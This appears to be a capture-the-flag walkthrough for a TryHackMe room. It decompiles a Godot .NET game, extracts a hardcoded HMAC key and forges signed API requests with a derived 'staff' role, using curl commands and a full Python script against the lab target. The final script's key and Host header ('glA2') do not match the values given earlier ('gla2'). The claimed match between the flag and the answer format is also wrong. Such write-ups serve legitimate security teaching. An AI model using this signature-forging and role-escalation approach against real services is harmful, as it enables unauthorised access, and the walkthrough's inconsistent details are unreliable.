

TryHackMe — Grand Larceny Auto II — Full Walkthrough

Platform	TryHackMe
Category	Reversing / Game / API Exploitation
Difficulty	Medium
Room	Grand Larceny Auto II
Target IP	10.49.169.164
Game	Godot 4 (.NET) — GrandLarcenyAuto

TL;DR — The room ships a Godot game (GrandLarcenyAuto) that contains a decoy "vault" flag, while the **real flag lives on a backend API** (gla2.thm). By decompiling the game's .NET assembly we recover the whole wire protocol: a signed session + checkpoint/claim API using an HMAC-SHA256 secret baked into the binary. The game itself always claims as a *player* (getting a fake flag), but a hidden `DeriveStaffRole()` function shows how to compute the **staff role** — claiming with it returns the real flag.

1. Scenario

The sequel that shipped, with a vault the developers made that you can't just decompile your way into. ... GLA II shipped on time, unlike some sequels. Somewhere in Los Vantos is a vault the developers swear you'll never open, so this time the flag isn't in the game at all. The safehouse vault is back, but robbing it isn't a single-player job anymore. Pull the game apart, work out how it talks to the city's back office, and take what the developers insist is locked. The cheat console lies. The vault on your screen lies. The real score is something you have to earn, then prove you earned it.

Answer format: `***{*****_***_*****_*****_*****}`

2. Reconnaissance

2.1 The downloadable file

The room provides a 7z archive:

```
7z l GrandLarcenyAuto-1786669683173.7z
```

```
Date       Time      Attr      Size    Compressed  Name
2026-08-14 04:39:47 ....A     63325566   135507749
GrandLarcenyAuto/GrandLarcenyAuto-linux-x86_64.zip
```

```
2026-08-14 04:39:40 ....A 73593608
GrandLarcenyAuto/GrandLarcenyAuto-windows-x86_64.zip
```

We extract the **Linux** build:

```
7z e GrandLarcenyAuto-1786669683173.7z -o/tmp/gla
unzip GrandLarcenyAuto-linux-x86_64.zip -d linux/
```

The game directory layout instantly identifies a **Godot 4 (.NET)** game:

```
linux/
├── data_GrandLarcenyAuto_linuxbsd_x86_64/
│   ├── GrandLarcenyAuto.dll      <-- game logic (C#)
│   ├── GrandLarcenyAuto.runtimeconfig.json
│   └── ... (GodotSharp + .NET runtime assemblies)
├── GrandLarcenyAuto.pck          <-- Godot packed assets
└── GrandLarcenyAuto.x86_64      <-- native launcher
```

The key insight: with Godot .NET, the C# code is compiled into a plain **.NET assembly** (GrandLarcenyAuto.dll) — no native obfuscation. This is the "decompiler's playground".

2.2 Network check

The room gives us a target IP, and the game talks to gla2.thm:

```
ping -c 2 10.49.169.164

2 packets transmitted, 2 received, 0% packet loss
```

Server is up.

3. Static Analysis — Decompiling the Game

We decompile the assembly to MSIL using Mono's disassembler:

```
monodis --output=GrandLarcenyAuto.il GrandLarcenyAuto.dll
```

Now we can read the whole game logic. First, grep for interesting strings:

```
strings GrandLarcenyAuto.il | grep -iE "http|vault|flag|checkpoint|claim|stash|secret|key"
```

Standout findings:

```
"http://gla2.thm"                <- backend URL
"GLA::vault::key::v1::stars="     <- in-game vault key salt
"VAULT UNSEALED\nTHM{th3_v4ult_w4s_4_d3c0y}" <- DECOY flag shown in-game
"THE VAULT SWINGS OPEN\n\nStaff access granted. That's the real score.\n\n"
"/session", "/checkpoint", "/claim" <- API endpoints
"FLAG RECEIVED", "claiming...", "checkpoint ok: "
"5-STAR HEAT sent. Now rob the stashes in order: "
```

The room hint said "the flag isn't in the game at all" — and indeed THM{th3_v4ult_w4s_4_d3c0y} is an in-game decoy ("The vault on your screen lies."). The real flag must come from the backend.

4. The Wire Protocol — PoPClient (Proof-of-Play Client)

The class `GrandLarcenyAuto.PoPClient` implements all server communication. We fully reconstruct it from the IL:

4.1 Server URL & HMAC signing key

```
IL_0001: ldstr "http://gla2.thm"
IL_0053: ldstr "/checkpoint"

// .cctor - static constructor
IL_0005: ldstr "gla2_crew_sign_v1_2f9b6c8ad14e"
IL_000a: callvirt Encoding::GetBytes(string)
IL_000f: stsfld PoPClient::SignKey
```

SignKey (HMAC secret) = gla2_crew_sign_v1_2f9b6c8ad14e

4.2 Signing function

```
// string Sign(string msg)
SignKey
Encoding.UTF8.GetBytes(msg)
HMACSHA256.HashData(SignKey, msgBytes)
// then hex-encode (byte.ToString("x2"))

def sign(msg: str) -> str:
    return hmac.new(KEY, msg.encode(), hashlib.sha256).hexdigest()
```

4.3 Endpoints & message bodies

Endpoint	Method	JSON body
/session	POST	{}
/checkpoint	POST	{"session_id":..., "step":..., "token":..., "sig":...}
/claim	POST	{"session_id":..., "role":..., "token":..., "sig":...}

Signature formats (from `ReportCheckpoint` and `Claim`):

```
checkpoint sig = hex(HMACSHA256(SignKey, session_id + "|" + step + "|" + token))
claim sig      = hex(HMACSHA256(SignKey, session_id + "|claim|" + token))
```

4.4 Session response fields

OnCompleted handles the JSON reply:

- token → stores token
- session_id → stores sessionId
- stash_order → array of 3 stash IDs to rob in order
- flag → stores LastFlag (+ tier, note)
- next → tells the game the next step to perform
- error → stores LastError

4.5 The "staff role" — DeriveStaffRole()

The most interesting method computes a special role string:

```
IL_0008: ldstr "heat5_stash"
          + StashOrder[0]
IL_0012: ldstr "_stash"
          + StashOrder[1]
IL_0024: ldstr "_stash"
          + StashOrder[2]
IL_0034: ldstr "_vault"
// SHA1.HashData(UTF8(msg)) -> hex

def derive_staff_role(order):
    s = "heat5_stash" + str(order[0]) + "_stash" + str(order[1]) + "_stash" +
    str(order[2]) + "_vault"
    return hashlib.sha1(s.encode()).hexdigest()
```

The game never actually calls this for claims — Claim() always hardcodes "role": "player". That's our hint that a **staff role** exists on the server, and claiming as staff is the real score.

5. Game Flow (what the game does)

From HeistTick / StashProximity / TryVault:

1. Open session	-> POST /session {}	-> session_id, token,
stash_order		
2. Reach 5 stars	-> checkpoint "heat5"	
3. Rob stash in order	-> checkpoint "stash<id>"	(3x, order from
stash_order)		
4. Walk to the vault	-> checkpoint "vault"	
5. Claim	-> POST /claim role="player"	

The server rotates the `token` on every checkpoint response, so each subsequent signature must use the **new** token. The server also enforces a **minimum delay** between requests (returns HTTP 425 `{"error": "too_fast", "need": 6, ...}` if we go too fast).

6. Solving It — Scripted API Interaction

We don't need to play the game at all. We replay the protocol with Python, and for step 5 we claim using the **derived staff role** instead of `player`.

6.1 Step 1 — Open a session

```
curl -X POST http://10.49.169.164/session -H "Content-Type: application/json" -d
'{}'

{"session_id": "WDNeY90v2b7WRbL1uTfZxjo4", "stash_order": [2, 1, 0], "token": "..."}

```

Each session has a randomized `stash_order`.

6.2 Step 2 — Report checkpoints

```
steps = ["heat5"] + [f"stash{i}" for i in order] + ["vault"]
for step in steps:
    sig = sign(f"{sid}|{step}|{token}")
    r = post("/checkpoint", {"session_id": sid, "step": step, "token": token,
"sig": sig})
    token = r.get("token", token)    # token rotates each step
    time.sleep(6)                   # avoid HTTP 425 too_fast

```

Server responses walk us through:

```
heat5 -> {"ok": true, "step": "heat5", "next": "stash2", ...}
stash2 -> next=stash1
stash1 -> next=stash0
stash0 -> next=vault
vault -> (done)

```

6.3 Step 3 — Claim as player (the decoy)

```
sig = sign(f"{sid}|claim|{token}")
post("/claim", {"session_id": sid, "role": "player", "token": token, "sig": sig})

{"flag": "THM{n1c3_dr1v1ng_but_th4ts_th3_wr0ng_v4ult}", "tier": "player", "note": "civil
ian access – the real vault is staff-only"}

```

This is the **fake** flag. The note even tells us: *"the real vault is staff-only"*.

6.4 Step 4 — Claim as staff (the real flag)

```
role = hashlib.sha1(("heat5_stash" + str(order[0]) + "_stash" + str(order[1])
                    + "_stash" + str(order[2]) + "_vault").encode()).hexdigest()
sig = sign(f"{sid}|claim|{token}")

```

```
post("/claim", {"session_id": sid, "role": role, "token": token, "sig": sig})

{"flag": "THM{Th4ts_th3_wr0ng_g4m3_t0mmy}"}
```

Flag 🚩 — THM{Th4ts_th3_wr0ng_g4m3_t0mmy}

This matches the answer format `***{*****_***_*****_*****_*****}`:

Group	Length	Value
THM	3	THM
word 1	5	Th4ts
word 2	3	th3
word 3	5	wr0ng
word 4	4	g4m3
word 5	5	t0mmy

7. Full Solution Script

```
import hashlib, hmac, json, time, re
import urllib.request, urllib.error

BASE = "http://10.49.169.164"
KEY = b"glA2_crew_sign_v1_2f9b6c8ad14e"

def post(path, body):
    req = urllib.request.Request(BASE + path, data=json.dumps(body).encode(),
        headers={"Content-Type": "application/json", "Host": "glA2.thm"},
        method="POST")
    try:
        with urllib.request.urlopen(req, timeout=15) as r:
            return r.status, r.read().decode()
    except urllib.error.HTTPError as e:
        return e.code, e.read().decode()

def sign(msg):
    return hmac.new(KEY, msg.encode(), hashlib.sha256).hexdigest()

# 1. Open session
_, raw = post("/session", {})
s = json.loads(raw)
sid, token, order = s["session_id"], s["token"], s["stash_order"]

# 2. Walk the checkpoint chain
for step in ["heat5"] + [f"stash{i}" for i in order] + ["vault"]:
    while True:
        sig = sign(f"{sid}|{step}|{token}")
        code, body = post("/checkpoint", {"session_id": sid, "step": step,
            "token": token, "sig": sig})
        if code == 200:
```

```

        token = json.loads(body).get("token", token)
        break
    need = float(re.search(r'"need":([0-9.]+)', body).group(1))
    time.sleep(need + 1)

# 3. Claim with the derived staff role
role = hashlib.sha1(("heat5_stash" + str(order[0]) + "_stash" + str(order[1])
                    + "_stash" + str(order[2]) + "_vault").encode()).hexdigest()
sig = sign(f"{sid}|claim|{token}")
code, body = post("/claim", {"session_id": sid, "role": role,
                             "token": token, "sig": sig})
print(code, body)

```

8. Step-by-Step Summary

Step	Action	Result
1	Download + extract the 7z, pick the Linux build	Godot 4 (.NET) game
2	monodis on GrandLarcenyAuto.dll	Full game source in IL
3	Grep for URLs/endpoints/secrets	Backend gla2.thm, HMAC key, decoy flag
4	Reverse PoPClient	/session, /checkpoint, /claim protocol
5	Reverse DeriveStaffRole()	Staff role = SHA1 of stash-order string
6	Open a session	session_id, token, stash_order
7	Report heat5 → stashX → vault (with delays)	Server walks us to next=vault
8	Claim as player	Decoy flag + "staff-only" note
9	Claim as staff role	Real flag

9. Key Takeaways

1. **Godot .NET games are easy to reverse** — the C# logic is a plain managed assembly (GrandLarcenyAuto.dll); a tool like monodis/ILSpy/dnSpy is enough to recover the full source.
2. **Never trust client-side flags.** The in-game vault flag (THM{th3_v4ult_w4s_4_d3c0y}) and even the player-role claim flag were decoys — the

real value required a different API call with a derived credential.

3. **HMAC secrets live in binaries.** `gla2_crew_sign_v1_2f9b6c8ad14e` was right in the `.cctor`. Anyone can forge valid signatures once they find it.
4. **Replay the protocol instead of playing the game.** Once the endpoints and message shapes are known, the whole "game" reduces to a handful of HTTP requests.
5. **Watch for hidden role/tier logic.** Code paths that exist but are never called from the normal flow (here, `DeriveStaffRole()`) usually point at the intended exploit.
6. **Read server error messages.** `425 too_fast` and the player claim's `note` field were essential hints for the timing requirement and the staff-only vault.